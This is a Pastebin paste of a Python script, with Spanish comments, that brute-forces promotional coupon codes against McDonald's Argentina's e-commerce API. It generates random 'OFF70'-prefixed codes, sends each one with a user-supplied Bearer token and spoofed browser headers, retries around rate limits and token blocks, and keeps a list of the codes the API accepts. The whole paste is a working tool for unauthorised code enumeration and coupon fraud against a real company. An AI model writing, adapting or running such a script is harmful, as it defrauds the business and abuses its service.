Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #https://x.com/jav123nb
- import requests
- import random
- import string
- import time
- # Configuración de la API
- API_URL = "https://promos-mcd-ecommerce.appmcdonalds.com/api/promotions/check-code"
- HEADERS = {
- "accept": "application/json, text/plain, */*",
- "accept-language": "es-ES,es;q=0.9,en;q=0.8,ru;q=0.7",
- "authorization": "Bearer ", # Se actualizará dinámicamente
- "cache-control": "no-cache",
- "content-type": "application/json",
- "origin": "https://www.mcdonalds.com.ar",
- "pragma": "no-cache",
- "priority": "u=1, i",
- "sec-ch-ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"",
- "sec-ch-ua-mobile": "?1",
- "sec-ch-ua-platform": "\"Android\"",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "user-agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
- "x-app-country": "AR",
- "x-app-version": "web-2.0.0"
- }
- # Datos base para la solicitud
- DATA_TEMPLATE = {
- "area": "DLV",
- "restaurant": "6197a044c6ad5f296eabdcf7",
- "price": {"total": 1099900, "tax": 0},
- "products": [{"id": "2719", "qty": 1, "isPromo": False}],
- "coupon": ""
- }
- # Lista de cupones válidos encontrados
- valid_coupons = []
- def generate_coupon():
- """Genera un código de cupón que comienza con 'OFF70' + una letra A-E + 5 caracteres más."""
- first_letter = random.choice("ABC") # Letra inicial fija en A, B, C, D o E
- num_digits = random.choice([0, 1, 2, 3]) # Cuántos números incluir en los 5 caracteres restantes
- digits = random.choices(string.digits, k=num_digits)
- letters = random.choices(string.ascii_uppercase, k=5 - num_digits)
- coupon_body = digits + letters
- random.shuffle(coupon_body)
- return f"OFF70{first_letter}{''.join(coupon_body)}"
- def check_coupon(coupon):
- """Envía una solicitud POST a la API con el cupón generado."""
- data = DATA_TEMPLATE.copy()
- data["coupon"] = coupon
- unauthorized_attempts = 0
- exception_attempts = 0
- while True:
- try:
- response = requests.post(API_URL, json=data, headers=HEADERS)
- response_json = response.json()
- # Siempre mostrar la respuesta de la API
- print(f"Cupón: {coupon} | Respuesta: {response.status_code} - {response_json}")
- if response_json == {"status": False, "error": {"code": "unauthorized", "message": "Token Blocked"}}:
- print("Token bloqueado. Deteniendo ejecución.")
- exit(1)
- # Manejo de casos específicos
- if response.status_code == 401:
- unauthorized_attempts += 1
- if unauthorized_attempts >= 5:
- print("Se alcanzaron 5 intentos de 'Unauthorized', deteniendo ejecución.")
- exit(1)
- time.sleep(3)
- continue # Reintentar con el mismo cupón
- # Si el cupón es válido, guardarlo en la lista
- if response_json.get("valid", False):
- valid_coupons.append(coupon)
- break # Salir del bucle en respuestas procesadas
- except requests.exceptions.RequestException as e:
- # Manejo de errores de red con reintentos
- print(f"Cupón: {coupon} | Error de red: {e}")
- exception_attempts += 1
- if exception_attempts >= 5:
- print("Se alcanzaron 5 intentos de error de red, pasando al siguiente cupón.")
- break
- time.sleep(3) # Esperar antes de reintentar
- def main():
- """Ejecuta el proceso de generación y prueba de cupones en intervalos de 3 segundos."""
- # Solicitar el token Bearer al usuario
- bearer_token = input("Por favor, introduce el token Bearer: ").strip()
- if not bearer_token:
- print("El token Bearer es obligatorio. Saliendo...")
- return
- # Asignar el token Bearer al encabezado
- HEADERS["authorization"] = f"Bearer {bearer_token}"
- # Iniciar el proceso de validación de cupones
- while True:
- coupon = generate_coupon()
- check_coupon(coupon)
- print(f"Resumen de cupones válidos hasta ahora: {valid_coupons}")
- time.sleep(3)
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement